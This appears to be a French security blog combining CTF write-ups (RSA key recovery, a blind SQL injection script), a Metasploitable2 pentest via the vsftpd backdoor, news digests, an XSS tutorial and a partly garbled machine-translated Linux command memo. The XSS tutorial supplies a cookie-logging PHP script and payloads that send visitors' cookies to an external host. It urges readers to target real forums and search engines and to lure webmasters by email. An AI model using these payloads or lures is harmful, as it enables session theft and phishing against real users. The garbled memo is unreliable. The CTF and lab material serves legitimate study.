dimanche 28 février 2021

Writeup du challenge réseau ‘packet300’ paru lors des épreuves de qualifications du defcon en 2010

On a un fichier avec l’énoncé. Il s’agit d’une capture réseau dont la principale activité est un échange SSL TLS sur un port non standard 4433. Le but de l'exploitation est de recréer la clé privé qui a permis d'émettre le certificat (clé publique) pour pouvoir déchiffrer l'ensemble de la capture réseau.


Étape 1 : Extraction du certificat

Ouvrir la capture avec Wireshark









Sur le paquet 7 : “Server Hello , Certificate , Server Hello Done”

Dans la catégorie “Secure Socket Layer” du paquet

On fait un clique droit sur “Certificate” “Export selected packets bytes” et on enregistre en cert.der









Étape 2 : convertir le .der en .pem

On utilise Openssl pour effectuer la conversion :

openssl x509 -inform der -in cert.der -out pubkey.pem

Il faut ensuite extraire le modulo de la clé publique :

openssl x509 -in pubkey.pem -text -modulus -noout


La sortie est la suivante :





































Il faut passer le modulo de l'hexa au décimal

python -c " print int(' ACBE7B776E96F5F357BCE84D959CE53CE0029AFC0E67901D3602F3275FCC7EC41027B84755E1E64C08CCEBAE15F9F5EFC141892F3882781A35CAC58B46797C09',16)"

On regarde si le modulo est connu sur factor-db :

http://factordb.com/index.php?query=9047341136853946158354084931035401403317236404810122825347899274551597323166322064830737050437362451313263605495279468516338542263888005274643061077015561

Le modulo est entièrement factorisé sur le site, ces composantes sont disponibles.

On a donc :

e=65537
p = 93115437532229212680057875933456519124315804016875130086475798314747218703569
q= 97162633572145015979792735324962427827333894105174165446261955221140018659769
n= 9047341136853946158354084931035401403317236404810122825347899274551597323166322064830737050437362451313263605495279468516338542263888005274643061077015561


Étape 3 : Reconstruire la clé privé

On reconstruit la clé privé avec rsatool

python3 rsatool.py -n 9047341136853946158354084931035401403317236404810122825347899274551597323166322064830737050437362451313263605495279468516338542263888005274643061077015561 -p 93115437532229212680057875933456519124315804016875130086475798314747218703569 -q 97162633572145015979792735324962427827333894105174165446261955221140018659769 -e 65537 -v PEM -o privkey.pem

Le résultat est comme suit :













Étape 4 : Déchiffrer la capture

Pour ce faire il faut aller dans “Edition” Préférences Protocols TLS



On ajoute une nouvelle clé dans “RSA Keys Lists”.

On remplit les champs comme ceci :

ip adresse : 192.168.1.9
port : 4433
Protocol : http
et on met notre fichier privkey.pem

Une fois que c'est fait on obtient :






On fait “Appliquer” et la capture se déchiffre :

Au niveau du paquet n°13, un nouvel onglet Decrypted SSL data devrait être présent. Le contenu est le flag à valider : twisted by design



 

jeudi 1 août 2019

WRITEUP MCTF3 FINAL WEB100 JACKERS ENGINE


# MCTF3 FINAL WEB100 JACKERS ENGINE
# BRAHIMI ZAKARIA
# FROM SUDO_ROOT
# GREETZ TO THE CTF ORGANISERS AKA TH3J4CK3RS

L’application web inclue un simple formulaire avec un seul input. En passant des lettres dans cet input l’application web renvoi un nom d’utilisateur si toutefois les caractères entrés sont compris dans celui-ci. Cela signifie probablement que notre point d’injection se trouve après un LIKE au sein d’une requête SQL. On pourra déjà cerner à travers ce système qu’un utilisateur ‘admin’ est existant.
Par ailleurs, on remarquera l’existence d’un fichier robots.txt à la racine du site-web contenant des entrées qui ressemble à quelque chose comme ‘deny /assets/*.db’. Cela ne vous avancera pas à grands chose excepté l’extension ‘.db’ qui peut être considérée comme un indice signifiant qu’il vous faudra taper dans la base de données au moyen des injections SQL.
Surprise, l’input a bien l’air de filtrer les signes de ponctuation permettant de réaliser notre injection SQL justement. Après quelques tentatives de bypass, on remarquera que le champs POST est bien filtré.
Petite réflexion. A l’ouverture du site web avant même de passer notre input, on remarquera que le nom d’utilisateur ‘jack’ est retourné. Pas si étrange que ça, si on s’aperçoit qu’un cookie est créé dès le départ portant le même nom que l’input du form, à savoir ‘q’.
Celui-ci est considéré uniquement en l’absence du paramètre POST ‘q’. Néanmoins, celui-ci passe par une sérialisation et se manifeste sous une forme littérale encodée en base64.
En décodant ce dernier, on obtient 2 paramètres : un paramètre ‘q’ et un paramètre ‘limit’. Le limit ne semple pas sensible aux injections SQL. Par contre le paramètre ‘q’ ne semble pas filtré et nous permettra par conséquent de réaliser notre injection SQL. Une fois notre injection insérée, il faudra modifier le cookie en conséquence pour que celui-ci soit sous la bonne forme afin que la désérialisation puisse fonctionner correctement. Sa valeur par défaut vaut le caractère ‘J’ en hexadécimal ; c’est pourquoi le nom d’utilisateur ‘jack’ de base.
Cela dit, on a plutôt affaire à une injection SQL à l’aveugle. De ce fait, nous allons tout simplement récupérer la longueur du mot de passe de l’utilisateur ‘admin’ puis la valeur de son mot de passe (qui ne peut être que le flag) caractère par caractère.  
Le script permettant de réaliser cela est le suivant :


import requests
import re
import base64

trouve=0
longueur=0

while (trouve==0): 
    payload = "admin\' and length(password)="+str(longueur)+"-- -"
    payload2 = 'a:2:{s:1:"q";s:'+str(len(payload))+':"'+payload+'";s:5:"limit";s:1:"1";}'
    payload3 = base64.b64encode(payload2)
    cookies = {'q': payload3}
    resultat=requests.post('http://52.59.5.86/jengine/',cookies=cookies).content
    res=re.search("admin",resultat)
    if res is not None:
             trouve=1
    else:
             longueur+=1


print "The password length is " + str(longueur)


trouve=0
length=1
caractere=32
final_pass=""

while(trouve==0):
    payload = "admin' and substr(password,"+str(length)+",1)='"+str(chr(caractere))+"'-- -"
    payload2 = 'a:2:{s:1:"q";s:'+str(len(payload))+':"'+payload+'";s:5:"limit";s:1:"1";}'  
    payload3 = base64.b64encode(payload2)
    cookies = {'q': payload3}
    resultat=requests.post('http://52.59.5.86/jengine/',cookies=cookies).content
    res=re.search("admin",resultat)
    if res is not None:
        if (length!=longueur):
                    final_pass+=chr(caractere)
                    length+=1
                    caractere=32
        else:
                    final_pass+=chr(caractere)
                    trouve=1
    else:
             caractere+=1

print ("Le flag est : %s " % final_pass)

Comme prévu, en très peu de temps le script nous renvoi la longueur du mot de passe de l’admin ainsi que sa valeur qui est bien le flag de validation du challenge. La figure suivante en est la preuve :




dimanche 9 juin 2019

Apprendre la méthodologie du pentest applicatif à travers un cas pratique


Résumé


Cette article décrit la méthodologie classique suivi par les pentesteurs à travers un cas pratique qui se manifeste par la réalisation d’un test d’intrusion contre la plateforme Metasploitable2. Cette dernière contient de nombreuses vulnérabilités. Comme le focus porte sur la méthodologie de pentest plutôt que sur les vulnérabilités existantes, une seule vulnérabilité seulement sera exploitée pour l’exemple. La vulnérabilité en question est pour le coup dévastatrice car son exploitation permet d’obtenir le contrôle total sur la cible. Ils existent plusieurs manières de rooter la cible mais ce n’est pas l’objectif.
Présentation de la plateforme Metasploitable2

La machine virtuelle Metasploitable est une version intentionnellement vulnérable d'Ubuntu Linux conçue pour tester les outils de sécurité et démontrer les vulnérabilités courantes. La version 2 de cette machine virtuelle est disponible en téléchargement (https://sourceforge.net/projects/metasploitable/) et est livrée avec davantage de vulnérabilités que l'image d'origine. Cette machine virtuelle est compatible avec VMWare, VirtualBox et d'autres plates-formes de virtualisation courantes. Par défaut, les interfaces réseau de Metasploitable sont liées aux adaptateurs réseau NAT et Host-only, et l'image ne doit jamais être exposée à un réseau hostile.

Étape 1 : Préparez votre environnement


Notre environnement de test se constitue d’une machine d’attaque sous Kali Linux et de la machine cible (à auditer) qui est Metasploitable2. Ces deux machines sont dans un même segment à part entière et constitue ainsi un réseau privée virtuelle.

Nous utiliserons l’outil de Virtualisation dit VirtualBox (https://www.virtualbox.org/wiki/Downloads)  pour émuler les machines virtuelles en questions. Une fois celles-ci en places nous lançons nos deux machines comme illustré dans la figure suivante : 



Dans notre cas, nous allons nous munir d’un seul scanneur de vulnérabilité ; ce qui est suffisant pour le coup afin de prendre le contrôle total de la machine cible. Le scanneur de vulnérabilités dont on va se servir est Nessus. Après le téléchargement et l’installation de celui-ci, il faudra le lancer à la manière d’un service ainsi : 
 

Étape 2 : Effectuez une reconnaissance


La reconnaissance ou récolte d’informations est la première étape d’un test d’intrusion. Dans cette étape, on se sert généralement de certains outils dédiés à la reconnaissance. Un outil incontournable en la matière est bien Nmap ; Il s’agit principalement d’un scanner de ports qui permet de :
Repérer toutes les machines connectées dans un réseau.
Connaître les services en vigueurs sur ces machines ainsi que leurs versions.
Obtenir des informations sur les systèmes d'exploitation de ces machines.

Vous l’aurez compris, il permet d’avoir tant d’informations utiles qui nous faciliteront l’attaque de notre cible.

Nous allons d’abord récupérer notre adresse IP avant de scanner le réseau entier sur lequel on se trouve. La commande illustrée dans la figure suivante retourne exactement ce qu’on veut.



Sachez que le réseau 192.168.56.0/ 24 est le réseau "hôte uniquement" par défaut dans Virtual Box. Les adresses IP sont attribuées à partir de "101". En fonction de l'ordre dans lequel les systèmes d'exploitation invités sont démarrés, l'adresse IP de Metasploitable 2 peut varier dans votre cas.

Le résultat du ping scan effectué sur l’intégralité du réseau local (192.168.56.0/24) à l’aide de l’outil Nmap est présenté dans la figure suivante :



Dans notre cas c’est assez simple de repérer l’adresse IP de la cible à auditer. Par élimination, l’adresse IP :
  • 192.168.56.1 est affectée à la machine host sur l’interface Virtualbox Host-Only Ethernet Adapter
  • 192.168.56.100 est celle du serveur DHCP natif à Virtualbox
  • 192.168.56.102 est celle de notre machine d’attaque Kali Linux
  • 192.168.56.101 ne peut être que la machine cible Metasploitable2

Nous allons utiliser l’outil Zenmap, qui est identique à Nmap avec un mode graphique, pour scanner tous les ports TCP sur la machine cible. La requête utilisée et le résultat du scan sont illustrés dans la figure suivante :



Presque chacun de ces services fournit un point d’entrée distant dans le système. Dans la section suivante, nous allons voir un de ces vecteurs.

Étape 3 : Scannez les vulnérabilités

Pour cette partie, nous allons nous munir d’un scanneur de vulnérabilités assez réputé qui est en l’occurrence Nessus (https://www.tenable.com/downloads/nessus) . En règle générale un pentester combine plusieurs scanneurs de vulnérabilités afin d’obtenir un maximum de chose et aussi car certains sont plus efficaces que d’autres en termes de faux positifs (vulnérabilités détectées mais inexistantes) et de faux négatifs (vulnérabilités existantes mais non détectées). Comme notre cible contient plusieurs vulnérabilités critiques (et d’autres moins critiques) l’exploitation d’une de ces vulnérabilités critiques induit directement à l’obtention d’un accès distant à la cible avec les privilèges root.

Le résultat du scan du réseau retourné par Nessus est le suivant :




Les vulnérabilités identifiées sur la machine cible (dotée de l’adresse IP 192.168.56.101) sont illustrées partiellement dans la figure qui suit :



Des schémas synthétiques ainsi qu’une catégorisation systématique faite par Nessus vous permettra d’appliquer les filtres que vous souhaitez sur les résultats retournés.

Étape 4 : Exploitation d’une vulnérabilité


Le service FTP est en place sur la machine cible sur le port 21. Nessus nous a retourné l’empreinte de ce service ce qui nous permet de savoir qu’il s’agit d’un serveur VsFTPd et qu’il s’agit plus particulièrement de la version 2.3.4 (voir figure suivante) :



Cette version particulière a été contaminé par une personne tierce à un moment donné et a été patchée juste après par l’éditeur. N’empêche que certaines personnes ont pu télécharger la version contaminée entre-temps. Cette dernière contient une porte dérobée permettant à une personne malveillante d’obtenir un shell distant sur la machine ayant déployée cette version vulnérable de VsFTPd (https://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html).

Concrètement, la backdoor fait en sorte d’ouvrir un shell distant en écoute sur le port 6200 si une tentative de connexion au serveur FTP est initiée avec un nom d’utilisateur se terminant par ‘ : )’. Il existe également un exploit dans Metasploit permettant d’automatisé l’exploit de cette vulnérabilité.

Nous allons exploiter manuellement celle-ci. Commençons par scanner le port 6200 avec Nmap pour voir que nativement celui-ci est bien fermé. Le résultat est le suivant :



En effet, le port 6200 est bien à l’état fermé.

A présent nous allons initier une connexion FTP vers la machine cible avec comme nom d’utilisateur ‘testeur : )’ comme illustré dans la figure suivante :



Bien sûre, l’utilisateur étant inexistant, la connexion FTP a échoué. Néanmoins, si on scan à nouveau le port 6200 sur la machine cible avec Nmap, nous constaterons qu’il est ouvert cette fois-ci. Voir figure suivante :



En essayant de se connecter sur le port en question au moyen d’un outil permettant la communication entre un client et un serveur comme le célèbre telnet, on parvient à obtenir un shell sur le machine cible. En exécutant la commande id sur la cible, on voit clairement qu’on est connecté en tant que root ; ce qui signifie qu’on détient un contrôle total sur la cible.

Bonus : Corrigez cette vulnérabilité

A priori, désinstaller la version backdoorée du service FTP et réinstaller la dernière version stable depuis le site de l’éditeur (tout en ayant le bon réflexe de vérifier le checksum et/ou la signature GPG du fichier téléchargé par rapport à ceux déclarés par l’éditeur de la solution), va assainir le service FTP mais rien ne dit que d’autres services ne soient pas impactés ou que d’autres portes dérobées ne soient pas présentes ou même que le noyau ne soit pas infiltré par un éventuel rootkit. D’ailleurs, il existe réellement d’autres backdoors sur le système en question comme celle en place sur le port TCP 1524 à travers le service Ingreslock.

Dans une telle situation, il convient de refaire le système intégralement et de repartir sur une base seine et enchaîné avec un durcissement de la configuration de base de ce nouveau système.

mardi 18 décembre 2018

Actualité sécurité 12/2018

[LÉGISLATION] L’Australie adopte une loi visant à permettre aux forces de l'ordre d'avoir accès aux messages chiffrés des « citoyens australiens ». Cette loi obligera les entreprises de technologie à créer une porte dérobée sur leurs systèmes, afin que les agences nationales de sécurité et les forces de l'ordre puissent avoir accès aux communications en clair. Une amende est prévue pour les entreprises qui refuseront de s’y soumettre.
Les représentants des institutions européennes se sont mis d'accord pour donner plus de responsabilités à l'ENISA, l’agence de sécurité informatique de l'Union Européenne, ainsi que pour mettre en place une certification des objets connectés. Une liste de produits nécessitant une certification obligatoire est prévue pour 2023.
[CONDAMNATION] Le tribunal correctionnel d’Anvers a condamné trois informaticiens pour avoir participé à l’importation de lots importants de cocaïne et d’héroïne. Les peines vont de trois à huit ans de prison pour les accusés ayant compromis en 2013 les systèmes d’information de grandes compagnies de transport et terminaux à conteneurs, pour le compte d’un groupe criminel. Ils ont permis d’importer au moins deux tonnes de cocaïne et une tonne d’héroïne via le port d'Anvers.

[FUITE DE DONNÉES] La société russe de sécurité informatique Group-IB a découvert une liste de plus 40 000 identifiants et mots de passe d'accès à des services gouvernementaux de trente pays, dont la France. Plus de la moitié des informations concerneraient l'Italie (52%) puis l'Arabie Saoudite (22%) et le Portugal (5%). Les comptes concerneraient des civils, des fonctionnaires et des militaires. Les victimes auraient été piégées par des spear-phishing distribuant des programmes malveillants.
 
La société de sécurité informatique InfoArmor a découvert un serveur mal configuré en ligne, contenant les numéros d'identification de 120 millions contribuables brésiliens. Chaque ressortissant brésilien a un numéro d’identification de contribuable attribué lui permettant d’effectuer des opérations ordinaires, tels que l’ouverture d’un compte bancaire, le paiement de ses impôts ou l’obtention d’un prêt.

[ESPIONNAGE] Symantec publie un rapport sur un nouveau groupe d’attaquants nommé Seedworm ou encore MuddyWater. Le groupe aurait ciblé 131 entités entre septembre et novembre 2018 notamment au Pakistan, en Turquie, en Russie et en Arabie Saoudite. Les cibles seraient essentiellement des entreprises issues des secteurs des télécommunications, des services informatiques, ainsi que du gaz et de pétrole. Seedworm utiliserait la porte dérobée nommée Powermud, afin d’exfiltrer des mots de passe, effectuer des élévations de privilèges ou encore compresser les données exfiltrées pour les télécharger ultérieurement.
McAfee a révélé qu’une campagne nommée « opération Sharpshooter », ciblant les secteurs du nucléaire, de la défense et de la finance, aurait de nombreux liens avec le groupe d’attaquants d’origine nord-coréenne Lazarus, nommé également APT38, Dark Seoul, ou Hidden Cobra. 87 organisations situées majoritairement aux États-Unis ont ainsi été ciblées par cette campagne entre octobre et novembre 2018. L’un des outils d'attaque utilisé lors de cette campagne est présenté comme une évolution d’un outil attribué à Lazarus et diffusé en 2015.
[SABOTAGE] Le pétrolier italien Saipem a révélé que son système d’information avait été compromis par une variante du programme malveillant Shamoon. Ce programme efface les données des machines infectées, tente de détruire le disque dur et de rendre le système inexploitable. La première version de ce programme avait été identifiée en 2012, alors qu’il avait ciblé le producteur pétrolier d’Arabie Saoudite, Aramco, et rendu indisponible 35 000 postes de travail. L’attaque ayant ciblé Saipem aurait impacté 400 de ses serveurs, d’abord à Chennai en Inde, puis au Moyen-Orient (Arabie Saoudite, Émirats Arabes Unis, Koweït), en Écosse, et de manière limitée en Italie. L’attaque aurait ainsi entraîné l’effacement de données et perturbé le fonctionnement des infrastructures. Toutefois, la société indique avoir des copies de l’ensemble de ses systèmes, ce qui limiterait l’impact de l’attaque.


Fuite de données

Le ministère français de l'Europe et des Affaires Étrangères a été victime d'une compromission visant à exfiltrer des données à caractère personnel. Les noms et prénoms, numéros de téléphone et courriels, ont ainsi été exfiltrés lors de l'inscription sur le service ministériel Ariane, qui permet de signaler un voyage ou une mission à l'étranger. Plus de 540 000 personnes sont concernées. Le ministère précise que l'exfiltration ne comprend pas « de données sensibles, financières ou susceptibles de dévoiler les destinations des voyages déclarés sur Ariane »

mercredi 25 juillet 2018

Learning XSS

La vulnérabilité XSS

--------------------------------------------------------------------
Sommaire :
  1) Définition
  2) Utulisation
  3) Repèrage
  4) Exploitation
  5) Sécurisation
--------------------------------------------------------------------


----------------------------------------------
1) Définition

La faille XSS est une injection de code javascript dans des données lorsque le HTML n'est pas désactivé.
Par exemple, si la faille XSS est présente sur un forum de discussion ou un livre d'or nous pouvons alor poster en message du HTML.
Du coup, nous pouvons injecter du code javascript pour voler des cookies.

>Des cookies?? Tu parle,je commence a avoir faim oO
Du tout ! un cookie en informatique c'est un fichier qui contient des données sous forme d'un .txt enregistré par un site web et récupéré à la prochaine connexion.
Un petit exemple : vous allez pour la première fois sur un site web, vous vous logguez et cochez une case "connexion automatique", un cookie est forgé, car à chaque fois que vous reviendrez sur le site web, vous serez loggué automatiquement car le site web aura vu votre cookie !
Avec la faille XSS, nous pourrons voler le cookie de l'admin ensuite l'utuliser.
----------------------------------------------


----------------------------------------------
2) Utulisation

Pour exploiter la faille XSS, il nous faut un script PHP qui va enregistrer le cookie volé dans un .txt.
 Voici un code PHP à mettre dans votre fichier xss.php ou autre :


Code : PHP

==================================================================================================================
<?php
$cookie = $_GET["c"]; // on reconnaît c en variable GET
if($cookie)
{
        $fp = fopen("cookies.txt","a"); // On ouvre cookies.txt en edition (il est créé si il n'existe pas)
        fputs($fp,$cook . "\r\n"); // On écrit le contenu du cookie sur une nouvelle ligne
        fclose($fp); // On ferme le fichier cookies.txt
        /* FAIRE UNE REDIRECTION JAVASCRIPT CI-DESSOUS POUR QU'ON SE DOUTE DE RIEN */
}
?>

<script>
location.replace("http://www.google.fr");
</script>
==================================================================================================================


Enregistrez le fichier sous et tapez wss.php et mettez le fichier sur un serveur FTP qui supporte le PHP
Ici nous imaginerons que notre site est http://monsite.fr, donc le fichier aura pour adresse http://monsite.fr/xss.php
passons à la partie suivante.



----------------------------------------------
Repèrage

Trouvez un moteur de recherche. Il vous demande de taper un mot-clé. Tapez en mot-clé <b>test</b>. Si vous voyez une phrase du genre "Résultats trouvés pour <b>test</b>", ou bien "Aucun résultat trouvé pour <b>test</b>", c'est qu'il va falloir aller ailleurs.
Par contre, si vous voyez un truc du style "Aucun résultat pour test", c'est que le HTML n'est pas paralysé, il y a une fameuse faille XSS ! :].

Maintenant, nous allons injecter du code Javascript.
Tapez en mot clé l'expression suivante :
<script>alert('Plop !');</script>

Si vous voyez au beau milieu de la page un joli panneau avec un incône exclamatif et un message "Plop !", c'est qu'il y a réellement une faille XSS :]

* Attention, ce n'est pas tout à fait terminé !
Il faut vérifier que des cookies sont bien enregistrés sur le site web en question ! Sinon à quoi ça servirait d'exploiter cette faille ? A rien.
Allez dans votre barre d'adresse puis tapez :
javascript:alert(document.cookie)

Si un panneau s'affiche avec aucun texte, vous pouvez lacher l'affaire, sinon, si vous voyez un texte du genre "login=; pass=;" etc... C'est que le site web forge des cookies d'identification ! Donc nous sommes bien parti pour une exploitation.

Mais d'abord nous allons essayer d'exploiter les failles XSS sur des forums (partie suivante)
----------------------------------------------



----------------------------------------------
4) Exploitation


Bon, dans cette partie, nous verrons plusieurs exploitations..

a) Forum

C'est la même chose qu'avec les moteur de recherche, une fois membre sur un forum vous avez votre cookie à vous.

Allez poster un message et tapez :
<b>salut !</b>
Si vous voyez salut, c'est que c'est bien parti. Sinon, Fuiyez ^^

Nous allons maintenant prendre un peu plus de risque, exécuter un script qui ouvre en pop-up notre voleur de cookie. insérer ceci après votre petit message discret :
<script>window.open("http://monsite.fr/xss.php?c="+document.cookie)</script>

On comprend parfaitement qu'il y a ?c=, c'est la variable $_GET['c'] de notre code. Ensuite on ferme le quot et on mets un + en javascript pour concaténer la variable superglobale document.cookie qui représente notre cookie, vous me suivez ?

Imaginez qu'une personne dont le pseudo est Dupont et dont le mot de passe est caramel, il aura un cookie qui peut ressembler à ça :

login=Dupont; pass= caramel;

Donc, quand il verra vote message, si il y a une faille XSS, une pop-up va s'ouvrir et va enregistrer vote cookie car c'est comme si le code était : <script>window.open("http://monsite.fr/r.php?c=login=Dupond; pass=caramel;")</script>

Et vu que notre script enregistre la valeur de $_GET['c'] dans cookies.txt, nous aurons stealé son cookie !!


> On peut parfaitement exploiter cette faille avec du BBCode, en particulier avec des images. Comment ? En utilisant les attributs onclick, onmousehover et onerror :]

Tout d'abord, nous allons étudier quelques exemples de codes HTML sur les images et leurs résultats :
Examples :

<img src="hacked.jpg" onclick="javascript:alert('coucou')"> : affiche un panneau d'alerte avec texte 'coucou' si le visiteur clique sur l'image hacked.jpg
<img src="hacked.jpg" onmousehover="javascript:alert('coucou')"> : affiche un panneau semblable à l'exemple précédent si cette fois le visiteur passe le curseur de sa souris sur l'image hacked.jpg
<img src="hacked.jpg" onerror="javascript:alert('coucou')"> : Affiche un panneau d'alerte semblable aux deux exemples précédents si l'image hacked.jpg n'existe pas.

> Et comment on peut faire avec le BBCode si tu peux rentrer qu'une adresse URL dans les [img] ?!
Voici la bonne synthaxe à insérer : Le code suivant entré en message sur le forum :
[img]http://" onerror="javascript:window.open('http://monsite.fr/r.php?c='+document.cookie)[/img]
Reviendra à exécuter le code HTML suivant :
<img src="http://" onerror="javascript:window.open('http://monsite.fr/r.php?c='+document.cookie)">

Et vu que l'image http:// n'existe pas, cela aura pour effet d'ouvrir en pop-up votre grabber de cookie avec en variable le cookie du visiteur !

----------------------------------------------

b) Moteur de recherche method GET

Dans cette sous partie nous en revenons au moteur de recherche. Pourquoi méthode GET ? Je vais vous l'expliquer.
Imaginons que vous êtes sur un site nommé http://www.victime.com/index.php. Des que vous tapez en mot clé 'hacked', l'url deviendra ainsi (par exemple) :
http://www.victime.com/index.php?word=hacked
Rien ne nous empêche, bien évidemment, de remplacer hacked par <b>test</b> et pour ensuite apercevoi sur la page un truc du genre : "Aucun résultat trouvé pour test", donc si test apparaît en gras c'est qu'il y a bien XSS :p

Assez parlé, entrez en mot-clé dans le moteur de recherche :
<script>location.replace="http://monsite.fr/xss.php?c="+document.cookie;</script>

Si vous êtes redirigé sur une page qui vole votre propre cookie et qui se ferme de suite, c'est qu'il y a XSS (xD)
Par contre, il va falloir prendre le temps de copier l'URL encodée avant de se faire rediriger. Répétez l'opération jusqu'à avoir réussi à copier l'adresse.

Maintenant, il faut trouver le mail du webmaster, faire un mail crédible et lui demander de se rendre sur votre URL piégée pour qu'il se fasse voler son cookie.

----------------------------------------------

c) Formulaire avec input limité

Si nous entrons dans email la valeur suivante :

c@c.c" onclick="javascript:alert('hacked')
Le code HTML deviendra ainsi : <a href=c@c.c" onclick="javascript:alert('hacked')">Mail</a>
Et des que le visiteur cliquera sur votre mail, un message d'alerte s'affichera avec le texte 'hacked'.

Faites cette action avec ce code :
c@c.c" onclick="javascript:window.open('http://site.com/xss.php?c='+document.cookie')
Et des que le visiteur voudra vous mailer, une pop-up s'ouvrira et volera le cookie de son visiteur si la faille XSS est présente.


----------------------------------------------
5) Sécuriser

Vous devez utiliser la fonction htmlentities avec deux arguments :

- Le premier sera votre variable
- le second est ENT_QUOTES, pour transformer les quots en &quot; et donc interdire les ".

Exemple :

Code : PHP
$texte = htmlentities($_POST['texte'],ENT_QUOTES);
----------------------------------------------



==============================================
Zakizak was here ~ printf("Fuck Lamerz")
==============================================

Linux Commands Memo

To withdraw on the Root Server for example, know what you need woosh orders ..

Annexed to the orders that you are downloading ..

All you have to sit down and Tqriham time to arrange the orders are needed in a special file to you ..

Due to them when needed ..

Here View the orders which are in use by

pwd: display the full path to the current folder
ls: Show all files in the current folder
ls-al: Show all files and information
ls-alR: Show all files and subfolders in the information
ls-alR> filename.txt: such as ls-alR, but leave the result in the file
ls *. html: All files ending spill. html
cd [directory name]: change the current folder to another to be determined to write his name
cd .. : The current pace of change in volume one of the highest
clear: clean up the screen
vdir: give more information than it ls
exit: exit for the registration of Hel

Transfer, copying and scanning of files:
mv [old filename] [new filename]: the transfer or rename a file
cp [filename] [new filename]: to copy the file
rm [filename]: file of the survey
rm *: delete all the files in the current folder
rm *. html: a survey of all the files that the extension of expiring. html
rm-rf [directoryname]: survey of the entire volume

Create, move, copy and scan folders:
mkdir [directory name]: Create a new folder
ls-d * /: display all the folders within the current folder
cp-r [directory] [new directory]: copies of all files and folder within the new stripes

Search for files and folders:
find. -name [filename]-print: to search for the file
grep [********************************] [filename]: the search for text within the file

Permits files and folders:
There are three levels of permits files are: reading Read, Write and write implementation execute, there are also three sets to give such permits: Owner or Owner, Group and User Group for all everyone.
Chmod is used followed by Ptlatp numbers of permits, the first number is the owner of the Owner, and the second number of the Group and the third one is for all Everyone .. This interpretation of the numbers and levels of these permits:

0 = --- No permission
1 = - X Execute only
2 =-W-Write only
3 =-WX Write and execute
4 = R - Read only
5 = R-X Read and execute
6 = RW-Read and write
7 = RWX Read, write and execute


Always prefer to give a statement (0) to a Group in order to prevent the other users to browse the files from the server using the Telnet or FTP until

These are some of the most common permits:

chmod 604 [filename]: less of a statement to the Mphat Html
chmod 705 [directory name]: less a statement of volumes
chmod 755 [filename]: the least of the programs and permit Alascrepettat
chmod 606 [filename]: statement of the least used by Mphat Alascrepettat
chmod 703 [directory name]: read-only permission for the Public FTP

How to decompress the archive file using the Telnet:
First, to verify that you are inside the folder that contains your compressed file is written ls
If the file is not present your writing:
cd / big / dom / xdomain / www / directory /
Track your path to replace the file which contains your

Now the process is how to decompress the archive?
If the file extension ends. Zip File.zip for example, your writing is:
unzip file.zip

If the file extension ends with. Tar example file.tar your writing:
tar-xvf file.tar

If the file extension ends with. Gz file.gz like your writing:
gzip-d file.gz

If the file extension ends with. Tar.gz example file.tar.gz your writing:
gzip-d file.tar.gz
Therefore:
tar-xvf file.tar

How to backup the database:
mysqldump-u db_usr_name-pPASSWORD db_name> file name.SQL

How to retrieve database saved by:
mysql-u db_usr_name-pPASSWORD db_name <file name.SQL

How the pressure of the database:
tar-czvf file name.tar.gz file name.SQL

How to decompress the archive on the database:
tar-zxvf file name.tar.gz

How to do backup of all databases for a particular user:
mysqldump-uroot - all-databases | gzip> mysql_username.sql

Some other commands:
tail: like cat, but just read the end of file
tail / var / log / messages to see another 20 lines of / var / log / messages
tail-f / var / log / messages: continuing to watch for file changes during the
tail -200 / var / log / messages: print the last line of the file 200 on the screen

more: like cat
more / etc / userdomains: to browse through the file userdomains file.

pico: to use text editor
pico / home / burst / public_html / index.html: Liberation Index page for the user.

vi: another editor of the texts of many of the features, but most of the pico when used for the first time
vi / home / burst / public_html / index.html: also for the Liberation of the Index page for the user.

touch: the establishment of an empty file
touch / home/burst/public_html/404.html: to create a empty file called 404.html in the folder / home / burst / public_html /

ln: the establishment of links between files and folders
ln-s / usr / local / apache / conf / httpd.conf / etc / httpd.conf: Now you can edit / etc / httpd.conf rather than the original file. The changes will appear in the original file, as the survey link that you can change the file without the original.

rm: to delete the file
rm filename.txt: to remove a question of emphasis Confirmation deleted
rm-f filename.txt: delete the file, without question, to confirm the deletion.
rm-rf tmp /: the conversion of tmp folder and includes all the files and subfolders inside.

last: to display the log of the time
last -20: View the last 20 login process
last -20-a: presentation of the last 20 with the registration process to enter the field at the end of Hostmane

w: View current users on the server and logged on and where they are now at this moment.

netstat: View all related now.
netstat-an: offer all the related IP for the server as well as for each contact and the Port or outlet of communication.

top: to display the live system processes in the form of a nice memory, as well as information and Uptime and other useful information, which is very excellent in the management system and to ensure that everything is working well.
Screening by the use of memory to write your top and then Shift M
Screening by the use of your CPU top and then write Shift P

ps: It is short for process status which is similar to the top. It introduced the processes currently operating with the PID or Process ID, which is the definition of the Process or program, you can stop the program from this figure (as well check your orders to Kill
ps U username: display user specific programs
ps aux: Show All Processes or programs that
ps aux - forest: All the programs that work like the previous hierarchy, but very good and useful

du: to display the consumption or use of CD-Disk usage.
du-sh: to display a summary of space used by the current folder, including subfolders.
du-sh *: same thing but this is used for each file or folder basis, which is useful for finding files that reserved a large area

wc: the number of words
wc-l filename.txt: to find the file specified number of lines

cp: copies of the file
cp filename filename.backup: Copy the file to filename.backup
cp-a / home / burst / new_design / * / home / burst / public_html /: copies all files with the retention of permits to another folder

How to know the size of a file or folder:

du-h / home / username / public_html / test


kill: to stop a specific program
kill -9 PID EG: kill -9 431
kill PID EG: kill 10550
Use top or ps ux to determine the PIDs or Process I

mardi 19 juin 2018

Actualité sécurité


[ESPIONNAGE] Un groupe d'attaquants chinois a infiltré en début d'année les ordinateurs d'un prestataire de la Navy et a exfiltré 614 GiB de données classifiées traitant de recherche et développement sur des armes sous-marines.

La Russie, bien connue pour ses capacités offensives, n'est pas non plus exempte d'être victime d'espionnage. Des centres de maintenance spécialisés dans l'électronique ont été la cible d’une campagne de spear-phishing délivrant un outil de monitoring commercial ayant des capacités d'enregistrement à partir de la webcam ou d'accès aux fichiers présents sur la machine.

[BRAINSTORMING] Suite à la récente cyberattaque de la Banque du Chili, les autorités financières et le ministère des Finances ont établi un plan d'action afin de combattre ce type d'attaques dans le futur. Afin d'y arriver, il sera entre autres nécessaire de moderniser les outils et protocoles actuellement utilisés. À noter que la dernière régulation en matière de cybersécurité au Chili date de 1993.

